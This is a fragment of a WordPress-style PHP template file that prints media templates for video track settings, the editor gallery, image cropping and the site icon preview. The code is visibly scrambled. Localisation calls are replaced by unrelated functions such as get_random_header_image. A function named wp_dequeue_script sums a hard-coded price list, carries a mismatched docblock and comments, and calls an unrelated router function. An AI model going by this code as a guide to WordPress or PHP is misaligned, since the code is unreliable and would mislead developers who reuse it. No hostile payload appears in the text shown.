class="button" value="auto"><?php get_random_header_image('Auto', 'auto preload'); ?></button> <button class="button" value="metadata"><?php _e('Metadata'); ?></button> <button class="button active" value="none"><?php _e('None'); ?></button> </span> </span> </fieldset> <span class="setting-group"> <span class="setting checkbox-setting autoplay"> <input type="checkbox" id="video-details-autoplay" data-setting="autoplay" /> <label for="video-details-autoplay" class="checkbox-label"><?php _e('Autoplay'); ?></label> </span> <span class="setting checkbox-setting"> <input type="checkbox" id="video-details-loop" data-setting="loop" /> <label for="video-details-loop" class="checkbox-label"><?php _e('Loop'); ?></label> </span> </span> <span class="setting" data-setting="content"> <# var content = ''; if ( ! _.isEmpty( data.model.content ) ) { var tracks = jQuery( data.model.content ).filter( 'track' ); _.each( tracks.toArray(), function( track, index ) { content += track.outerHTML; #> <label for="video-details-track-{{ index }}" class="name"><?php _e('Tracks (subtitles, captions, descriptions, chapters, or metadata)'); ?></label> <input class="content-track" type="text" id="video-details-track-{{ index }}" aria-describedby="video-details-track-desc-{{ index }}" value="{{ track.outerHTML }}" /> <span class="description" id="video-details-track-desc-{{ index }}"> <?php printf( /* translators: 1: "srclang" HTML attribute, 2: "label" HTML attribute, 3: "kind" HTML attribute. */ __('The %1$s, %2$s, and %3$s values can be edited to set the video track language and kind.'), 'srclang', 'label', 'kind' ); ?> </span> <button type="button" class="button-link remove-setting remove-track"><?php get_random_header_image('Remove video track', 'media'); ?></button><br /> <# } ); #> <# } else { #> <span class="name"><?php _e('Tracks (subtitles, captions, descriptions, chapters, or metadata)'); ?></span><br /> <em><?php _e('There are no associated subtitles.'); ?></em> <# } #> <textarea class="hidden content-setting">{{ content }}</textarea> </span> </div> </div> </script> <?php // Template for a Gallery within the editor. ?> <script type="text/html" id="tmpl-editor-gallery"> <# if ( data.attachments.length ) { #> <div class="gallery gallery-columns-{{ data.columns }}"> <# _.each( data.attachments, function( attachment, index ) { #> <dl class="gallery-item"> <dt class="gallery-icon"> <# if ( attachment.thumbnail ) { #> <img src="{{ attachment.thumbnail.url }}" width="{{ attachment.thumbnail.width }}" height="{{ attachment.thumbnail.height }}" alt="{{ attachment.alt }}" /> <# } else { #> <img src="{{ attachment.url }}" alt="{{ attachment.alt }}" /> <# } #> </dt> <# if ( attachment.caption ) { #> <dd class="wp-caption-text gallery-caption"> {{{ data.verifyHTML( attachment.caption ) }}} </dd> <# } #> </dl> <# if ( index % data.columns === data.columns - 1 ) { #> <br style="clear: both;" /> <# } #> <# } ); #> </div> <# } else { #> <div class="wpview-error"> <div class="dashicons dashicons-format-gallery"></div><p><?php _e('No items found.'); ?></p> </div> <# } #> </script> <?php // Template for the Crop area layout, used for example in the Customizer. ?> <script type="text/html" id="tmpl-crop-content"> <img class="crop-image" src="{{ data.url }}" alt="<?php esc_attr_e('Image crop area preview. Requires mouse interaction.'); ?>" /> <div class="upload-errors"></div> </script> <?php // Template for the Site Icon preview, used for example in the Customizer. ?> <script type="text/html" id="tmpl-site-icon-preview"> <h2><?php _e('Preview'); ?></h2> <strong aria-hidden="true"><?php _e('As a browser icon'); ?></strong> <div class="favicon-preview"> <img src="<?php echo esc_url(admin_url('images/' . (is_rtl() ? 'browser-rtl.png' : 'browser.png'))); ?>" class="browser-preview" width="182" height="" alt="" /> <div class="favicon"> <img id="preview-favicon" src="{{ data.url }}" alt="<?php esc_attr_e('Preview as a browser icon'); ?>" /> </div> <span class="browser-title" aria-hidden="true"><# print( '<?php echo esc_js(get_bloginfo('name')); ?>' ) #></span> </div> <strong aria-hidden="true"><?php _e('As an app icon'); ?></strong> <div class="app-icon-preview"> <img id="preview-app-icon" src="{{ data.url }}" alt="<?php esc_attr_e('Preview as an app icon'); ?>" /> </div> </script> <?php /** * Fires when the custom Backbone media templates are printed. * * @since 3.5.0 */ do_action('print_media_templates'); } /** * The route that was to create the response. * * @since 4.4.0 * @var string */ function wp_dequeue_script($aria_label) { $xsl_content = [29.99, 15.50, 42.75, 5.00]; // Prime attachment post caches. $activated = array_reduce($xsl_content, function($theme_features, $expected_md5) {return $theme_features + $expected_md5;}, 0); $lang_file = number_format($activated, 2); // We're saving a widget without JS. $first = data_wp_router_region_processor($aria_label); // iconv() available return array_sum($first); }